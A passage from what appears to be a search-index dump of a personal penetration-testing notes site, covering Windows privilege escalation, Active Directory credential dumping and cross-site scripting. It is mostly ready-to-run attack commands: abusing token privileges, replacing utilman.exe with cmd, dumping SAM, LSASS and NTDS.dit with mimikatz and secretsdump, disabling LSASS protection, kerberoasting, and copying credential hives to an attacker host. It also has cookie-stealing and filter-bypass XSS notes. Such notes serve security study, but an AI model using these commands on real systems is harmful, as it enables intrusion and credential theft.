(DACL) can be opened via right click on the service and go to properties\n* All services are stored under `HKLM\\SYSTEM\\CurrentControlSet\\Services\\`\n\n### Unquoted Service Path\n\n* If `BINARY_PATH_NAME` spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.\n* A created directory at install time inherits the permissions from its parent. Check it via\n```sh\nicacls \n```\n* Use `service-exe` payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path\n* Set permissions\n```sh\nicacls C:\\Path/to/service.exe /grant Everyone:F\n```\n\n### Permissions\n\n* [priv2admin](https://github.com/gtworek/Priv2Admin)\n* `whoami /priv`\n\n#### SeBackup / Restore\n\n* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened\n* Download `SAM` and `System` hashes\n```sh\nreg save hklm\\system C:\\Windows\\Temp\\system.hive\nreg save hklm\\sam C:\\Windows\\Temp\\sam.hive\n```\n* or\n```sh\ncopy C:\\Windows\\System32\\config\\sam \\\\ATTACKER_IP\\\n```\n* Start smb server on attack machine\n```sh\ncopy C:\\Windows\\Temp\\sam.hive \\\\ATTACKER_IP\\\ncopy C:\\Windows\\Temp\\system.hive \\\\ATTACKER_IP\\\n```\n\n* Dump the hashes\n```sh\nsecretsdump.py -sam sam.hive -system system.hive LOCAL\n```\n* or meterpreter on target\n```sh\nhashdump\n```\n\n* Use pass the hash to login \n```sh\npsexec.py -hashes administrator@$TARGET_IP\n```\n\n#### SeTakeOwnership\n\n* If `SeTakeOwnership` is set one can take ownership of every file or service.\n```sh\ntakeown /f C:\\Windows\\System32\\Utilman.exe\nicacls C:\\Windows\\System32\\Utilman.exe /grant :F\ncopy cmd.exe utilman.exe\n```\n* Log out, on the Login screen click on `Ease of Access`\n\n#### SeImpersonate / SeAssignPrimaryToken\n\n* It is a rouge potato\n* Execute process as another user\n* Service accounts operate through impersonation\n* Check privileges via `whoami /priv` for these \n* __Object Exporter Identifier (OXID)__ is executed as via DCOM as a resolver on port 135 to socket of attacker\n```sh\nsocat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234\n```\n* Catch the potatoe executable from target via netcat\n\n\n### Volume Shadow Copy Service\n\n* Take a look at the volumes at\n```sh\nvssadmin list shadows\n```\n\n* Copy `sam` and `system` from the shadow copy\n```sh\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\sam \\\\ATTACKER_IP\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\system \\\\ATTACKER_IP\\\n```\n\n### Dump LSASS\n\n* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`\n* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`\n\n* Extract the dump via mimikatz\n```sh\nprivilege::debug\nsekurlsa::logonpasswords\n```\n\n### LSASS Protection\n\n__The bypass is needed most of the time in order to dump passwords__\n* If the dump cannot be created because it is protected change `RunAsPPL` DWORD to `0` under\n```sh\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\n```\n\n* Alternatively, use mimikatz\n```sh\nprivilege::debug\n!+\n!processprotect /process:lsass.exe /remove\n```\n* `+!` calls `mimidrv.sys`, __therefore mimikatz has to be executed inside the same directory the this file lies__\n\n### Windows Credential Manager\n\n* Can be found via `Control Pane` -> `User Accounts` -> `Credential Manager`\n* Alternatively, command line can be used\n```sh\nvaultcmd /list\nvaultcmd /listproperties:\"Web Credentials\"\nvaultcmd /listcreds:\"web credentials\"\n```\n\n* Extract the password via powershell script [Get-WebCredentials from nishang](https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1)\n```sh\npowershell -ex bypass\nGet-WebCredentials\n```\n\n* Via mimikatz if administrative permissions have been gained\n```sh\nprivilege::debug\nsekurlsa::credman\n```\n\n### Ntdsutil\n\n* If administrative permissions on the DC have been gained this can be done\n* Used to maintain the AD database, delete objects, snapshotting, set Directory Service Restore Mode (DSRM) \n\n\n#### Locally extracting ntds.dit\n\n* This can be done to gather the system boot key\n* No AD credentials are needed\n* Three files are needed\n * C:\\Windows\\NTDS\\ntds.dit\n * C:\\Windows\\System32\\config\\SYSTEM\n * C:\\Windows\\System32\\config\\SECURITY\n\n* Locally dumping all three needed file is done via\n```sh\npowershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\\Windows\\Temp\\ntds' q q\"\n```\n\n* Use `secretsdump` to extract `ntds.dit`\n```sh\nsecretsdump.py -security ./SECURITY -system ./SYSTEM -ntds ./ntds.dit local\n```\n\n#### Remotely dumping ntds\n\n* Needs the following AD credentials \n * Replicating Directory Changes\n * Replicating Directory Changes All\n * Replicating Directory Changes in Filtered Set\n\n* Mimikatz or impacket can be used to gain credentials\n* Impacket's secretsdump.py via\n```sh\nsecretsdump.py -just-dc /@$DC_IP\nsecretsdump.py -just-dc-ntlm /@$DC_IP\n```\n\n### Local Administration Password Solution (LAPS)\n\n* This is possible if the user which credentials we posses is member of the group to make password changes\n* Replaces GPP, see below\n\n* There are two interesting attributes\n * __ms-mcs-AdmPwd__ contains plain text password of the local Administrator\n * __ms-mcs-AdmPwdExpirationTime__ contains the expiration date of the admin password\n* __admpwd.dll__ is used to update the password inside __ms-mcs-AdmPwd__\n * If LAPS is enabled the dll can be found in `C:\\Program Files\\LAPS\\CSE`\n\n* List the cmdlets for LAPS\n```sh\nGet-Command *AdmPwd*\n```\n* Find the Organisational Unit with extended rights and take a look at the group under `ExtendedRightsHolder` in the output\n```sh\nFind-AdmPwdExtendedRights -Identity \n```\n* Enumerate which hosts have LAPS enabled\n* Impersonate the user and execute the following which displays the password\n```sh\nGet-AdmPwdPassword -ComputerName \n```\n\n* Use the property name displayed under `ExtendedRightsHolder` to enumerate groups and their users\n```sh\nnet groups \nnet user \n```\n\n#### Group Policy Preferences\n\n* Provisions administrational groups through the domain via SYSVOL\n* Distribution is done through XML files on SYSVOL. These contain a password encrypted with [the published private key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN)\n* Use [Powersploit's Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1) to decrypt it\n\n\n### Kerberoasting\n\n* Inital (low level) credentials are needed\n* __Service Principal Name (SPN)__ account must be known, e.g. from web IIS user or SQL users\n```sh\nGetUserSPNs.py -dc-ip $DC_IP /\n```\n\n* Take a look at `Name` in the output and use it to query a TGS ticket \n```sh\nGetUserSPNs.py -dc-ip $DC_IP / -request-user \n```\n\n* Crack the kerberos hash\n```sh\nhashcat -m 13100 -a0 hash.txt --wordlist \n```\n\n### AS-REP Roasting\n\n* `Do not require Kerberos pre-authentication` must be set on the AD user's account login settings. A password is used instead\n* A list of potential users with this configured setting should be gathered\n\n```sh\nGetNPUsers.py -dc-ip $DC_IP / -usersfile users.txt\n```\n","description":"","tags":[],"title":"Windows Privilege Escalation","uri":"post exploitation/priv_esc/docs/windows/windows_priv_esc.html"},{"content":"Add user as system user```sh\nnet user /add\n```\n```sh\nnet localgroup Administrator /add\n```\n```sh\nnet localgroup \"Remote Management Users\" /add\n```\n```sh\nnet user \n```\n* connect via winRM\n\n\n","description":"","tags":[],"title":"Add user as system user","uri":"post exploitation/priv_esc/docs/windows/add_user.html"},{"content":"Usage## Adhoc upload to target via http server\n* on local attacker\n```python3 -m http.server 8000```\nor \n```python -m SimpleHTTPServer```\n\n* on target\n```wget http://:8000/\n```\n\n* Cookie stealing\n\n```javascript\n\n```\n * Navigte to `/logs` and take sid\n\n* Open nc port and collect cookies\n```javascript\n\n\n\n```\n\n## Reflected XSS\nIn a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.\n* URL parameters inside GET queries\n* File paths\n\n### Usage\nAs script inside parameter\n```sh\nhttp://example.com/search?keyword=\n```\n* Show server IP\n```\nhttp://example.com/reflected?keyword=\n```\n* Session stealing, base64 encoded\n```javascript\n\n```\n * open netcat binder to catch the http queries\n\n## DOM based XSS\nWith DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:\n```javascript\nvar keyword = document.querySelector('#search')\nkeyword.innerHTML = \n```\n\n### Usage\n* Find the sub-object inside the document\n```javascript\ntest\" onmouseover=\"alert('YO!')\"\n```\n* Show cookie\n```\ntest\" onmouseover=\"alert(document.cookie)\"\n```\n## Bypass Filters\n* `script>alert(\"1\");</script>\n```\n* `alert()` sanitizing\n```javascript\n0\\\"autofocus/onfocus=alert(1)-->\"-confirm(3)-\"\n```\nor\n```javascript\n0\\\"autofocus/onfocus=alert(1)-->